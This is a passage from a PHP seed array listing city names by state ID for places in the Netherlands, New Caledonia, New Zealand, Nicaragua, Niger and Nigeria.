'vriezenveen'],\n ['state_id' => '2595', 'name' => 'vroomshoop'],\n ['state_id' => '2595', 'name' => 'weerselo'],\n ['state_id' => '2595', 'name' => 'wierden'],\n ['state_id' => '2595', 'name' => 'zwartewaterland'],\n ['state_id' => '2595', 'name' => 'zwolle'],\n ['state_id' => '2597', 'name' => 'abcoude'],\n ['state_id' => '2597', 'name' => 'amerongen'],\n ['state_id' => '2597', 'name' => 'amersfoort'],\n ['state_id' => '2597', 'name' => 'baarn'],\n ['state_id' => '2597', 'name' => 'benschop'],\n ['state_id' => '2597', 'name' => 'breukelen'],\n ['state_id' => '2597', 'name' => 'bunnik'],\n ['state_id' => '2597', 'name' => 'bunschoten'],\n ['state_id' => '2597', 'name' => 'de bilt'],\n ['state_id' => '2597', 'name' => 'de ronde venen'],\n ['state_id' => '2597', 'name' => 'den dolder'],\n ['state_id' => '2597', 'name' => 'doorn'],\n ['state_id' => '2597', 'name' => 'driebergen-rijsenburg'],\n ['state_id' => '2597', 'name' => 'eemnes'],\n ['state_id' => '2597', 'name' => 'houten'],\n ['state_id' => '2597', 'name' => 'ijsselstein'],\n ['state_id' => '2597', 'name' => 'kockengen'],\n ['state_id' => '2597', 'name' => 'leersum'],\n ['state_id' => '2597', 'name' => 'leusden'],\n ['state_id' => '2597', 'name' => 'loenen'],\n ['state_id' => '2597', 'name' => 'lopik'],\n ['state_id' => '2597', 'name' => 'maarn'],\n ['state_id' => '2597', 'name' => 'maarsen'],\n ['state_id' => '2597', 'name' => 'mijdrecht'],\n ['state_id' => '2597', 'name' => 'montfoort'],\n ['state_id' => '2597', 'name' => 'nieuwegein'],\n ['state_id' => '2597', 'name' => 'nigtevecht'],\n ['state_id' => '2597', 'name' => 'odijk'],\n ['state_id' => '2597', 'name' => 'oudewater'],\n ['state_id' => '2597', 'name' => 'renswoude'],\n ['state_id' => '2597', 'name' => 'rhenen'],\n ['state_id' => '2597', 'name' => 'soest'],\n ['state_id' => '2597', 'name' => 'soesterberg'],\n ['state_id' => '2597', 'name' => 'utrecht'],\n ['state_id' => '2597', 'name' => 'veenendaal'],\n ['state_id' => '2597', 'name' => 'vianen'],\n ['state_id' => '2597', 'name' => 'wijdemeren'],\n ['state_id' => '2597', 'name' => 'wijk'],\n ['state_id' => '2597', 'name' => 'wilnis'],\n ['state_id' => '2597', 'name' => 'woerden'],\n ['state_id' => '2597', 'name' => 'woudenberg'],\n ['state_id' => '2597', 'name' => 'zeist'],\n ['state_id' => '2598', 'name' => 'axel'],\n ['state_id' => '2598', 'name' => 'borsele'],\n ['state_id' => '2598', 'name' => 'goes'],\n ['state_id' => '2598', 'name' => 'hontenisse'],\n ['state_id' => '2598', 'name' => 'hulst'],\n ['state_id' => '2598', 'name' => 'kapelle'],\n ['state_id' => '2598', 'name' => 'middelburg'],\n ['state_id' => '2598', 'name' => 'noord-beveland'],\n ['state_id' => '2598', 'name' => 'oostburg'],\n ['state_id' => '2598', 'name' => 'reimerswaal'],\n ['state_id' => '2598', 'name' => 'sas van gent'],\n ['state_id' => '2598', 'name' => 'schouwen-duiveland'],\n ['state_id' => '2598', 'name' => 'sluis-aardenburg'],\n ['state_id' => '2598', 'name' => 'terneuzen'],\n ['state_id' => '2598', 'name' => 'tholen'],\n ['state_id' => '2598', 'name' => 'veere'],\n ['state_id' => '2598', 'name' => 'vlissingen'],\n ['state_id' => '2598', 'name' => 'zierikzee'],\n ['state_id' => '2598', 'name' => 'zijpe'],\n ['state_id' => '2599', 'name' => '\\'s-gravendeel'],\n ['state_id' => '2599', 'name' => '\\'s-gravenhage'],\n ['state_id' => '2599', 'name' => '\\'s-gravenzande'],\n ['state_id' => '2599', 'name' => 'alblasserdam'],\n ['state_id' => '2599', 'name' => 'albrandswaard'],\n ['state_id' => '2599', 'name' => 'alkemade'],\n ['state_id' => '2599', 'name' => 'alphen'],\n ['state_id' => '2599', 'name' => 'alphen aan den rijn'],\n ['state_id' => '2599', 'name' => 'barendrecht'],\n ['state_id' => '2599', 'name' => 'bergambacht'],\n ['state_id' => '2599', 'name' => 'bergschenhoek'],\n ['state_id' => '2599', 'name' => 'berkel en rodenrijs'],\n ['state_id' => '2599', 'name' => 'binnenmaas'],\n ['state_id' => '2599', 'name' => 'bleiswijk'],\n ['state_id' => '2599', 'name' => 'bodegraven'],\n ['state_id' => '2599', 'name' => 'boskoop'],\n ['state_id' => '2599', 'name' => 'brielle'],\n ['state_id' => '2599', 'name' => 'capelle'],\n ['state_id' => '2599', 'name' => 'cromstrijen'],\n ['state_id' => '2599', 'name' => 'de lier'],\n ['state_id' => '2599', 'name' => 'delft'],\n ['state_id' => '2599', 'name' => 'dirksland'],\n ['state_id' => '2599', 'name' => 'dordrecht'],\n ['state_id' => '2599', 'name' => 'giessenlanden'],\n ['state_id' => '2599', 'name' => 'goedereede'],\n ['state_id' => '2599', 'name' => 'gorinchem'],\n ['state_id' => '2599', 'name' => 'gouda'],\n ['state_id' => '2599', 'name' => 'graafstroom'],\n ['state_id' => '2599', 'name' => 'hardinxveld-giessendam'],\n ['state_id' => '2599', 'name' => 'heerjansdam'],\n ['state_id' => '2599', 'name' => 'hellevoetsluis'],\n ['state_id' => '2599', 'name' => 'hendrik-ido-ambacht'],\n ['state_id' => '2599', 'name' => 'jacobswoude'],\n ['state_id' => '2599', 'name' => 'katwijk'],\n ['state_id' => '2599', 'name' => 'kinderdijk'],\n ['state_id' => '2599', 'name' => 'krimpen'],\n ['state_id' => '2599', 'name' => 'leiden'],\n ['state_id' => '2599', 'name' => 'leiderdorp'],\n ['state_id' => '2599', 'name' => 'leidschendam-voorburg'],\n ['state_id' => '2599', 'name' => 'liemeer'],\n ['state_id' => '2599', 'name' => 'liesveld'],\n ['state_id' => '2599', 'name' => 'lisse'],\n ['state_id' => '2599', 'name' => 'maasland'],\n ['state_id' => '2599', 'name' => 'maassluis'],\n ['state_id' => '2599', 'name' => 'middelharnis'],\n ['state_id' => '2599', 'name' => 'monster'],\n ['state_id' => '2599', 'name' => 'moordrecht'],\n ['state_id' => '2599', 'name' => 'naaldwijk'],\n ['state_id' => '2599', 'name' => 'nederlek'],\n ['state_id' => '2599', 'name' => 'nieuw-lekkerland'],\n ['state_id' => '2599', 'name' => 'nieuwekerk aan den ijssel'],\n ['state_id' => '2599', 'name' => 'nieuwkoop'],\n ['state_id' => '2599', 'name' => 'noordwijk'],\n ['state_id' => '2599', 'name' => 'noordwijkerhout'],\n ['state_id' => '2599', 'name' => 'oegestgeest'],\n ['state_id' => '2599', 'name' => 'oostflakkee'],\n ['state_id' => '2599', 'name' => 'oud-beijerland'],\n ['state_id' => '2599', 'name' => 'ouderkerk'],\n ['state_id' => '2599', 'name' => 'papendrecht'],\n ['state_id' => '2599', 'name' => 'pijnacker-nootdorp'],\n ['state_id' => '2599', 'name' => 'reeuwijk'],\n ['state_id' => '2599', 'name' => 'ridderkerk'],\n ['state_id' => '2599', 'name' => 'rijnsburg'],\n ['state_id' => '2599', 'name' => 'rijnwoude'],\n ['state_id' => '2599', 'name' => 'rijswijk'],\n ['state_id' => '2599', 'name' => 'rotterdam'],\n ['state_id' => '2599', 'name' => 'sassenheim'],\n ['state_id' => '2599', 'name' => 'schiedam'],\n ['state_id' => '2599', 'name' => 'schipluiden'],\n ['state_id' => '2599', 'name' => 'schoonhoven'],\n ['state_id' => '2599', 'name' => 'sliedrecht'],\n ['state_id' => '2599', 'name' => 'spijkenisse'],\n ['state_id' => '2599', 'name' => 'strijen'],\n ['state_id' => '2599', 'name' => 'ter aar'],\n ['state_id' => '2599', 'name' => 'the hague'],\n ['state_id' => '2599', 'name' => 'valkenburg'],\n ['state_id' => '2599', 'name' => 'vierpolders'],\n ['state_id' => '2599', 'name' => 'vlaardingen'],\n ['state_id' => '2599', 'name' => 'vlist'],\n ['state_id' => '2599', 'name' => 'voorhout'],\n ['state_id' => '2599', 'name' => 'voorschoten'],\n ['state_id' => '2599', 'name' => 'waddinxveen'],\n ['state_id' => '2599', 'name' => 'warmond'],\n ['state_id' => '2599', 'name' => 'wassenaar'],\n ['state_id' => '2599', 'name' => 'wateringen'],\n ['state_id' => '2599', 'name' => 'west maas en waal'],\n ['state_id' => '2599', 'name' => 'westvoorne'],\n ['state_id' => '2599', 'name' => 'zederik'],\n ['state_id' => '2599', 'name' => 'zevenhuizen-moerkapelle'],\n ['state_id' => '2599', 'name' => 'zoetermeer'],\n ['state_id' => '2599', 'name' => 'zoeterwoude'],\n ['state_id' => '2599', 'name' => 'zwijndrecht'],\n ['state_id' => '2600', 'name' => 'belep'],\n ['state_id' => '2600', 'name' => 'fayaoue'],\n ['state_id' => '2600', 'name' => 'tadine'],\n ['state_id' => '2600', 'name' => 'vao'],\n ['state_id' => '2600', 'name' => 'we'],\n ['state_id' => '2601', 'name' => 'canala'],\n ['state_id' => '2601', 'name' => 'hienghene'],\n ['state_id' => '2601', 'name' => 'houailu'],\n ['state_id' => '2601', 'name' => 'kaala gomen'],\n ['state_id' => '2601', 'name' => 'kone'],\n ['state_id' => '2601', 'name' => 'koumac'],\n ['state_id' => '2601', 'name' => 'ouegoa'],\n ['state_id' => '2601', 'name' => 'poindimie'],\n ['state_id' => '2601', 'name' => 'ponerihouen'],\n ['state_id' => '2601', 'name' => 'pouebo'],\n ['state_id' => '2601', 'name' => 'pouembout'],\n ['state_id' => '2601', 'name' => 'poum'],\n ['state_id' => '2601', 'name' => 'poya'],\n ['state_id' => '2601', 'name' => 'touho'],\n ['state_id' => '2601', 'name' => 'voh'],\n ['state_id' => '2602', 'name' => 'bouloupari'],\n ['state_id' => '2602', 'name' => 'bourail'],\n ['state_id' => '2602', 'name' => 'dumbea'],\n ['state_id' => '2602', 'name' => 'farino'],\n ['state_id' => '2602', 'name' => 'la foa'],\n ['state_id' => '2602', 'name' => 'moindou'],\n ['state_id' => '2602', 'name' => 'mont-dore'],\n ['state_id' => '2602', 'name' => 'noumea'],\n ['state_id' => '2602', 'name' => 'paita'],\n ['state_id' => '2602', 'name' => 'sarramea'],\n ['state_id' => '2602', 'name' => 'thio'],\n ['state_id' => '2602', 'name' => 'yate'],\n ['state_id' => '2604', 'name' => 'auckland'],\n ['state_id' => '2604', 'name' => 'helensville'],\n ['state_id' => '2604', 'name' => 'henderson'],\n ['state_id' => '2604', 'name' => 'hillsborough'],\n ['state_id' => '2604', 'name' => 'lynfield'],\n ['state_id' => '2604', 'name' => 'manukau'],\n ['state_id' => '2604', 'name' => 'manurewa'],\n ['state_id' => '2604', 'name' => 'mt. roskill'],\n ['state_id' => '2604', 'name' => 'north shore'],\n ['state_id' => '2604', 'name' => 'onehunga'],\n ['state_id' => '2604', 'name' => 'orewa'],\n ['state_id' => '2604', 'name' => 'otahuhu'],\n ['state_id' => '2604', 'name' => 'panmure'],\n ['state_id' => '2604', 'name' => 'papakura'],\n ['state_id' => '2604', 'name' => 'papatoetoe'],\n ['state_id' => '2604', 'name' => 'ponsonby'],\n ['state_id' => '2604', 'name' => 'royal oak'],\n ['state_id' => '2604', 'name' => 'sandringham'],\n ['state_id' => '2604', 'name' => 'snells beach'],\n ['state_id' => '2604', 'name' => 'takanini'],\n ['state_id' => '2604', 'name' => 'waiheke'],\n ['state_id' => '2604', 'name' => 'waitakere'],\n ['state_id' => '2606', 'name' => 'amberley'],\n ['state_id' => '2606', 'name' => 'ashburton'],\n ['state_id' => '2606', 'name' => 'christchurch'],\n ['state_id' => '2606', 'name' => 'fairlie'],\n ['state_id' => '2606', 'name' => 'geraldine'],\n ['state_id' => '2606', 'name' => 'kaikoura'],\n ['state_id' => '2606', 'name' => 'leeston'],\n ['state_id' => '2606', 'name' => 'lyttelton'],\n ['state_id' => '2606', 'name' => 'oamaru'],\n ['state_id' => '2606', 'name' => 'rangiora'],\n ['state_id' => '2606', 'name' => 'temuka'],\n ['state_id' => '2606', 'name' => 'timaru'],\n ['state_id' => '2606', 'name' => 'waimate'],\n ['state_id' => '2608', 'name' => 'gisborne'],\n ['state_id' => '2610', 'name' => 'dannevirke'],\n ['state_id' => '2610', 'name' => 'feilding'],\n ['state_id' => '2610', 'name' => 'foxton'],\n ['state_id' => '2610', 'name' => 'levin'],\n ['state_id' => '2610', 'name' => 'marton'],\n ['state_id' => '2610', 'name' => 'palmerston north'],\n ['state_id' => '2610', 'name' => 'picton'],\n ['state_id' => '2610', 'name' => 'taumarunui'],\n ['state_id' => '2610', 'name' => 'wanganui'],\n ['state_id' => '2611', 'name' => 'blenheim'],\n ['state_id' => '2611', 'name' => 'havelock'],\n ['state_id' => '2612', 'name' => 'nelson'],\n ['state_id' => '2613', 'name' => 'dargaville'],\n ['state_id' => '2613', 'name' => 'kaikohe'],\n ['state_id' => '2613', 'name' => 'kaitaia'],\n ['state_id' => '2613', 'name' => 'kerikeri'],\n ['state_id' => '2613', 'name' => 'maungatapere'],\n ['state_id' => '2613', 'name' => 'whangarei'],\n ['state_id' => '2614', 'name' => 'alexandra'],\n ['state_id' => '2614', 'name' => 'balclutha'],\n ['state_id' => '2614', 'name' => 'dunedin'],\n ['state_id' => '2614', 'name' => 'queenstown'],\n ['state_id' => '2614', 'name' => 'wanaka'],\n ['state_id' => '2615', 'name' => 'warkworth'],\n ['state_id' => '2616', 'name' => 'gore'],\n ['state_id' => '2616', 'name' => 'invercargill'],\n ['state_id' => '2617', 'name' => 'eltham'],\n ['state_id' => '2617', 'name' => 'hawera'],\n ['state_id' => '2617', 'name' => 'inglewood'],\n ['state_id' => '2617', 'name' => 'new plymouth'],\n ['state_id' => '2617', 'name' => 'oakura'],\n ['state_id' => '2617', 'name' => 'stratford'],\n ['state_id' => '2617', 'name' => 'waitara'],\n ['state_id' => '2618', 'name' => 'motueka'],\n ['state_id' => '2618', 'name' => 'richmond'],\n ['state_id' => '2619', 'name' => 'cambridge'],\n ['state_id' => '2619', 'name' => 'coromandel'],\n ['state_id' => '2619', 'name' => 'hamilton'],\n ['state_id' => '2619', 'name' => 'hillcrest'],\n ['state_id' => '2619', 'name' => 'huntly'],\n ['state_id' => '2619', 'name' => 'matamata'],\n ['state_id' => '2619', 'name' => 'morrinsville'],\n ['state_id' => '2619', 'name' => 'ngaruawahia'],\n ['state_id' => '2619', 'name' => 'otorohanga'],\n ['state_id' => '2619', 'name' => 'paeroa'],\n ['state_id' => '2619', 'name' => 'pukekohe'],\n ['state_id' => '2619', 'name' => 'putaruru'],\n ['state_id' => '2619', 'name' => 'taupo'],\n ['state_id' => '2619', 'name' => 'te aroha'],\n ['state_id' => '2619', 'name' => 'te awamutu'],\n ['state_id' => '2619', 'name' => 'te kuiti'],\n ['state_id' => '2619', 'name' => 'thames'],\n ['state_id' => '2619', 'name' => 'tokoroa'],\n ['state_id' => '2619', 'name' => 'turangi'],\n ['state_id' => '2619', 'name' => 'waiuku'],\n ['state_id' => '2619', 'name' => 'whangamata'],\n ['state_id' => '2619', 'name' => 'whitianga'],\n ['state_id' => '2620', 'name' => 'carterton'],\n ['state_id' => '2620', 'name' => 'kapiti'],\n ['state_id' => '2620', 'name' => 'lower hutt'],\n ['state_id' => '2620', 'name' => 'martinborough'],\n ['state_id' => '2620', 'name' => 'masterton'],\n ['state_id' => '2620', 'name' => 'otaki'],\n ['state_id' => '2620', 'name' => 'paraparaumu'],\n ['state_id' => '2620', 'name' => 'porirua'],\n ['state_id' => '2620', 'name' => 'upper hutt'],\n ['state_id' => '2620', 'name' => 'wairarapa'],\n ['state_id' => '2620', 'name' => 'wellington'],\n ['state_id' => '2624', 'name' => 'boaco'],\n ['state_id' => '2624', 'name' => 'camoapa'],\n ['state_id' => '2624', 'name' => 'san lorenzo'],\n ['state_id' => '2625', 'name' => 'diriamba'],\n ['state_id' => '2625', 'name' => 'dolores'],\n ['state_id' => '2625', 'name' => 'jinotepe'],\n ['state_id' => '2625', 'name' => 'masatepe'],\n ['state_id' => '2625', 'name' => 'san marcos'],\n ['state_id' => '2625', 'name' => 'santa teresa'],\n ['state_id' => '2626', 'name' => 'chichigalpa'],\n ['state_id' => '2626', 'name' => 'chinandega'],\n ['state_id' => '2626', 'name' => 'corinto'],\n ['state_id' => '2626', 'name' => 'el viejo'],\n ['state_id' => '2626', 'name' => 'puerto morazan'],\n ['state_id' => '2626', 'name' => 'somotillo'],\n ['state_id' => '2627', 'name' => 'acoyapa'],\n ['state_id' => '2627', 'name' => 'juigalpa'],\n ['state_id' => '2627', 'name' => 'santo domingo'],\n ['state_id' => '2627', 'name' => 'santo tomas'],\n ['state_id' => '2627', 'name' => 'villa sandino'],\n ['state_id' => '2628', 'name' => 'condega'],\n ['state_id' => '2628', 'name' => 'esteli'],\n ['state_id' => '2628', 'name' => 'la trinidad'],\n ['state_id' => '2629', 'name' => 'diriomo'],\n ['state_id' => '2629', 'name' => 'granada'],\n ['state_id' => '2629', 'name' => 'nandaime'],\n ['state_id' => '2630', 'name' => 'jinotega'],\n ['state_id' => '2630', 'name' => 'wiwili'],\n ['state_id' => '2631', 'name' => 'el sauce'],\n ['state_id' => '2631', 'name' => 'la paz centro'],\n ['state_id' => '2631', 'name' => 'larreynaga'],\n ['state_id' => '2631', 'name' => 'leon'],\n ['state_id' => '2631', 'name' => 'nagarote'],\n ['state_id' => '2631', 'name' => 'telica'],\n ['state_id' => '2632', 'name' => 'somoto'],\n ['state_id' => '2633', 'name' => 'managua'],\n ['state_id' => '2633', 'name' => 'mateare'],\n ['state_id' => '2633', 'name' => 'san rafael del sur'],\n ['state_id' => '2633', 'name' => 'ticuantepe'],\n ['state_id' => '2633', 'name' => 'tipitapa'],\n ['state_id' => '2634', 'name' => 'la concepcion'],\n ['state_id' => '2634', 'name' => 'masaya'],\n ['state_id' => '2634', 'name' => 'nandasmo'],\n ['state_id' => '2634', 'name' => 'nindiri'],\n ['state_id' => '2634', 'name' => 'niquinohomo'],\n ['state_id' => '2635', 'name' => 'ciudad dario'],\n ['state_id' => '2635', 'name' => 'esquipulas'],\n ['state_id' => '2635', 'name' => 'matagalpa'],\n ['state_id' => '2635', 'name' => 'matiguas'],\n ['state_id' => '2635', 'name' => 'rio blanco'],\n ['state_id' => '2635', 'name' => 'san isidro'],\n ['state_id' => '2635', 'name' => 'sebaco'],\n ['state_id' => '2638', 'name' => 'belen'],\n ['state_id' => '2638', 'name' => 'rivas'],\n ['state_id' => '2638', 'name' => 'san jorge'],\n ['state_id' => '2638', 'name' => 'san juan del sur'],\n ['state_id' => '2639', 'name' => 'agadez'],\n ['state_id' => '2639', 'name' => 'arlit'],\n ['state_id' => '2639', 'name' => 'bilma'],\n ['state_id' => '2639', 'name' => 'fachi'],\n ['state_id' => '2639', 'name' => 'ingall'],\n ['state_id' => '2639', 'name' => 'tchirozerine'],\n ['state_id' => '2640', 'name' => 'diffa'],\n ['state_id' => '2640', 'name' => 'maine-soroa'],\n ['state_id' => '2640', 'name' => 'n\\'guigmi'],\n ['state_id' => '2641', 'name' => 'birni n\\'gaoure'],\n ['state_id' => '2641', 'name' => 'boboye'],\n ['state_id' => '2641', 'name' => 'dogondoutchi'],\n ['state_id' => '2641', 'name' => 'dosso'],\n ['state_id' => '2641', 'name' => 'gaya'],\n ['state_id' => '2641', 'name' => 'loga'],\n ['state_id' => '2642', 'name' => 'aguie'],\n ['state_id' => '2642', 'name' => 'dakoro'],\n ['state_id' => '2642', 'name' => 'gazaoua'],\n ['state_id' => '2642', 'name' => 'guidan roumdji'],\n ['state_id' => '2642', 'name' => 'madarounfa'],\n ['state_id' => '2642', 'name' => 'maradi'],\n ['state_id' => '2642', 'name' => 'mayahi'],\n ['state_id' => '2642', 'name' => 'tessaoua'],\n ['state_id' => '2642', 'name' => 'tibiri'],\n ['state_id' => '2643', 'name' => 'niamey'],\n ['state_id' => '2644', 'name' => 'birni n\\'konni'],\n ['state_id' => '2644', 'name' => 'bouza'],\n ['state_id' => '2644', 'name' => 'illela'],\n ['state_id' => '2644', 'name' => 'keita'],\n ['state_id' => '2644', 'name' => 'madaoua'],\n ['state_id' => '2644', 'name' => 'malbaza\\'uzine'],\n ['state_id' => '2644', 'name' => 'tahoua'],\n ['state_id' => '2644', 'name' => 'tchintabaraden'],\n ['state_id' => '2645', 'name' => 'ayorou'],\n ['state_id' => '2645', 'name' => 'filingue'],\n ['state_id' => '2645', 'name' => 'kollo'],\n ['state_id' => '2645', 'name' => 'ouallam'],\n ['state_id' => '2645', 'name' => 'say'],\n ['state_id' => '2645', 'name' => 'tera'],\n ['state_id' => '2645', 'name' => 'tillabery'],\n ['state_id' => '2646', 'name' => 'goure'],\n ['state_id' => '2646', 'name' => 'kantche'],\n ['state_id' => '2646', 'name' => 'magaria'],\n ['state_id' => '2646', 'name' => 'matameye'],\n ['state_id' => '2646', 'name' => 'mirriah'],\n ['state_id' => '2646', 'name' => 'tanout'],\n ['state_id' => '2646', 'name' => 'zinder'],\n ['state_id' => '2647', 'name' => 'aba'],\n ['state_id' => '2647', 'name' => 'amaigbo'],\n ['state_id' => '2647', 'name' => 'arochukwu'],\n ['state_id' => '2647', 'name' => 'bende'],\n ['state_id' => '2647', 'name' => 'ohafia'],\n ['state_id' => '2647', 'name' => 'okwe'],\n ['state_id' => '2647', 'name' => 'umuahia'],\n ['state_id' => '2649', 'name' => 'demsa'],\n ['state_id' => '2649', 'name' => 'ganye'],\n ['state_id' => '2649', 'name' => 'girei'],\n ['state_id' => '2649', 'name' => 'gombi'],\n ['state_id' => '2649', 'name' => 'jada'],\n ['state_id' => '2649', 'name' => 'jimeta'],\n ['state_id' => '2649', 'name' => 'lamurde'],\n ['state_id' => '2649', 'name' => 'madagala'],\n ['state_id' => '2649', 'name' => 'maiha'],\n ['state_id' => '2649', 'name' => 'mubi'],\n ['state_id' => '2649', 'name' => 'ngurore'],\n ['state_id' => '2649', 'name' => 'numan'],\n ['state_id' => '2649', 'name' => 'shelleng'],\n ['state_id' => '2649', 'name' => 'song'],\n ['state_id' => '2649', 'name' => 'toungo'],\n ['state_id' => '2649', 'name' => 'yola'],\n ['state_id' => '2651', 'name' => 'aguata'],\n ['state_id' => '2651', 'name' => 'agulu'],\n ['state_id' => '2651', 'name' => 'anambra'],\n ['state_id' => '2651', 'name' => 'awka'],\n ['state_id' => '2651', 'name' => 'enugu ukwu'],\n ['state_id' => '2651', 'name' => 'igbo ukwu'],\n ['state_id' => '2651', 'name' => 'ihiala'],\n ['state_id' => '2651', 'name' => 'nkpor'],\n ['state_id' => '2651', 'name' => 'nnewi'],\n ['state_id' => '2651', 'name' => 'obosi'],\n ['state_id' => '2651', 'name' => 'okija'],\n ['state_id' => '2651', 'name' => 'okpoko'],\n ['state_id' => '2651', 'name' => 'onitsha'],\n ['state_id' => '2651', 'name' => 'ozubulu'],\n ['state_id' => '2651', 'name' => 'uga'],\n ['state_id' => '2652', 'name' => 'alkaleri'],\n ['state_id' => '2652', 'name' => 'azare'],\n ['state_id' => '2652', 'name' => 'bauchi'],\n ['state_id' => '2652', 'name' => 'bogoro'],\n ['state_id' => '2652', 'name' => 'bununu dass'],\n ['state_id' => '2652', 'name' => 'darazo'],\n ['state_id' => '2652', 'name' => 'gamawa'],\n ['state_id' => '2652', 'name' => 'ganjuwa'],\n ['state_id' => '2652', 'name' => 'jamari'],\n ['state_id' => '2652', 'name' => 'katagum'],\n ['state_id' => '2652', 'name' => 'misau'],\n ['state_id' => '2652', 'name' => 'ningi'],\n ['state_id' => '2652', 'name' => 'tafawa balewa'],\n ['state_id' => '2653', 'name' => 'brass'],\n ['state_id' => '2653', 'name' => 'ekeremor'],\n ['state_id' => '2653', 'name' => 'nembe'],\n ['state_id' => '2653', 'name' => 'yenagoa'],\n ['state_id' => '2654', 'name' => 'aliade'],\n ['state_id' => '2654', 'name' => 'gboko'],\n ['state_id' => '2654', 'name' => 'katsina-ala'],\n ['state_id' => '2654', 'name' => 'makurdi'],\n ['state_id' => '2654', 'name' => 'otukpo'],\n ['state_id' => '2654', 'name' => 'ukum'],\n ['state_id' => '2654', 'name' => 'zaki biam'],\n ['state_id' => '2655', 'name' => 'abadan'],\n ['state_id' => '2655', 'name' => 'askira'],\n ['state_id' => '2655', 'name' => 'bama'],\n ['state_id' => '2655', 'name' => 'biu'],\n ['state_id' => '2655', 'name' => 'chibok'],\n ['state_id' => '2655', 'name' => 'damboa'],\n ['state_id' => '2655', 'name' => 'dikwa'],\n ['state_id' => '2655', 'name' => 'gamboru'],\n ['state_id' => '2655', 'name' => 'gubio'],\n ['state_id' => '2655', 'name' => 'gwoza'],\n ['state_id' => '2655', 'name' => 'kaga'],\n ['state_id' => '2655', 'name' => 'kala'],\n ['state_id' => '2655', 'name' => 'konduga'],\n ['state_id' => '2655', 'name' => 'kukawa'],\n ['state_id' => '2655', 'name' => 'mafa'],\n ['state_id' => '2655', 'name' => 'magumeri'],\n ['state_id' => '2655', 'name' => 'maiduguri'],\n ['state_id' => '2655', 'name' => 'marte'],\n ['state_id' => '2655', 'name' => 'monguno'],\n ['state_id' => '2655', 'name' => 'ngala'],\n ['state_id' => '2655', 'name' => 'shani'],\n ['state_id' => '2657', 'name' => 'agbor'],\n ['state_id' => '2657', 'name' => 'asaba'],\n ['state_id' => '2657', 'name' => 'bomadi'],\n ['state_id' => '2657', 'name' => 'burutu'],\n ['state_id' => '2657', 'name' => 'okpe'],\n ['state_id' => '2657', 'name' => 'patani'],\n ['state_id' => '2657', 'name' => 'sapele'],\n ['state_id' => '2657', 'name' => 'ughelli'],\n ['state_id' => '2657', 'name' => 'warri'],\n ['state_id' => '2658', 'name' => 'abakaliki'],\n ['state_id' => '2658', 'name' => 'afikpo'],\n ['state_id' => '2658', 'name' => 'effium'],\n ['state_id' => '2658', 'name' => 'ezza'],\n ['state_id' => '2658', 'name' => 'ishieke'],\n ['state_id' => '2658', 'name' => 'uburu'],\n ['state_id' => '2659', 'name' => 'auchi'],\n ['state_id' => '2659', 'name' => 'benin'],\n ['state_id' => '2659', 'name' => 'ekpoma'],\n ['state_id' => '2659', 'name' => 'igarra'],\n ['state_id' => '2659', 'name' => 'ikpoba'],\n ['state_id' => '2659', 'name' => 'irrua'],\n ['state_id' => '2659', 'name' => 'sabongida'],\n ['state_id' => '2659', 'name' => 'ubiaja'],\n ['state_id' => '2659', 'name' => 'uromi'],\n ['state_id' => '2660', 'name' => 'ado'],\n ['state_id' => '2660', 'name' => 'aramoko'],\n ['state_id' => '2660', 'name' => 'efon alaye'],\n ['state_id' => '2660', 'name' => 'emure'],\n ['state_id' => '2660', 'name' => 'igbara odo'],\n ['state_id' => '2660', 'name' => 'igede'],\n ['state_id' => '2660', 'name' => 'ijero'],\n ['state_id' => '2660', 'name' => 'ikere'],\n ['state_id' => '2660', 'name' => 'ikole'],\n ['state_id' => '2660', 'name' => 'ilawe'],\n ['state_id' => '2660', 'name' => 'ipoti'],\n ['state_id' => '2660', 'name' => 'ise'],\n ['state_id' => '2660', 'name' => 'ode'],\n ['state_id' => '2660', 'name' => 'omuo'],\n ['state_id' => '2660', 'name' => 'osi'],\n ['state_id' => '2661', 'name' => 'agwa'],\n ['state_id' => '2661', 'name' => 'aku'],\n ['state_id' => '2661', 'name' => 'awgu'],\n ['state_id' => '2661', 'name' => 'eha amufu'],\n ['state_id' => '2661', 'name' => 'enugu'],\n ['state_id' => '2661', 'name' => 'enugu ezike'],\n ['state_id' => '2661', 'name' => 'enugu ngwo'],\n ['state_id' => '2661', 'name' => 'ezeagu'],\n ['state_id' => '2661', 'name' => 'mberubu'],\n ['state_id' => '2661', 'name' => 'nsukka'],\n ['state_id' => '2661', 'name' => 'oji'],\n ['state_id' => '2661', 'name' => 'udi'],\n ['state_id' => '2662', 'name' => 'ako'],\n ['state_id' => '2662', 'name' => 'deba'],\n ['state_id' => '2662', 'name' => 'duku'],\n ['state_id' => '2662', 'name' => 'garko'],\n ['state_id' => '2662', 'name' => 'gombe'],\n ['state_id' => '2662', 'name' => 'kaltungo'],\n ['state_id' => '2662', 'name' => 'kumo'],\n ['state_id' => '2662', 'name' => 'nafada'],\n ['state_id' => '2662', 'name' => 'pindiga'],\n ['state_id' => '2663', 'name' => 'aboh'],\n ['state_id' => '2663', 'name' => 'etiti'],\n ['state_id' => '2663', 'name' => 'ihite'],\n ['state_id' => '2663', 'name' => 'nkwerre'],\n ['state_id' => '2663', 'name' => 'oguta'],\n ['state_id' => '2663', 'name' => 'okigwe'],\n ['state_id' => '2663', 'name' => 'owerri'],\n ['state_id' => '2664', 'name' => 'babura'],\n ['state_id' => '2664', 'name' => 'birnin kudu'],\n ['state_id' => '2664', 'name' => 'buji'],\n ['state_id' => '2664', 'name' => 'dutse'],\n ['state_id' => '2664', 'name' => 'garki'],\n ['state_id' => '2664', 'name' => 'gumel'],\n ['state_id' => '2664', 'name' => 'gwaram'],\n ['state_id' => '2664', 'name' => 'gwiwa'],\n ['state_id' => '2664', 'name' => 'hadejia'],\n ['state_id' => '2664', 'name' => 'jahun'],\n ['state_id' => '2664', 'name' => 'kaugama'],\n ['state_id' => '2664', 'name' => 'kazaure'],\n ['state_id' => '2664', 'name' => 'keffin hausa'],\n ['state_id' => '2664', 'name' => 'kiyawa'],\n ['state_id' => '2664', 'name' => 'maigatari'],\n ['state_id' => '2664', 'name' => 'malammaduri'],\n ['state_id' => '2664', 'name' => 'ringim'],\n ['state_id' => '2664', 'name' => 'sule tankarkar'],\n ['state_id' => '2664', 'name' => 'taura'],\n ['state_id' => '2665', 'name' => 'birnin gwari'],\n ['state_id' => '2665', 'name' => 'doka'],\n ['state_id' => '2665', 'name' => 'giwa'],\n ['state_id' => '2665', 'name' => 'gwagwada'],\n ['state_id' => '2665', 'name' => 'hunkuyi'],\n ['state_id' => '2665', 'name' => 'igabi'],\n ['state_id' => '2665', 'name' => 'ikara'],\n ['state_id' => '2665', 'name' => 'jemaa'],\n 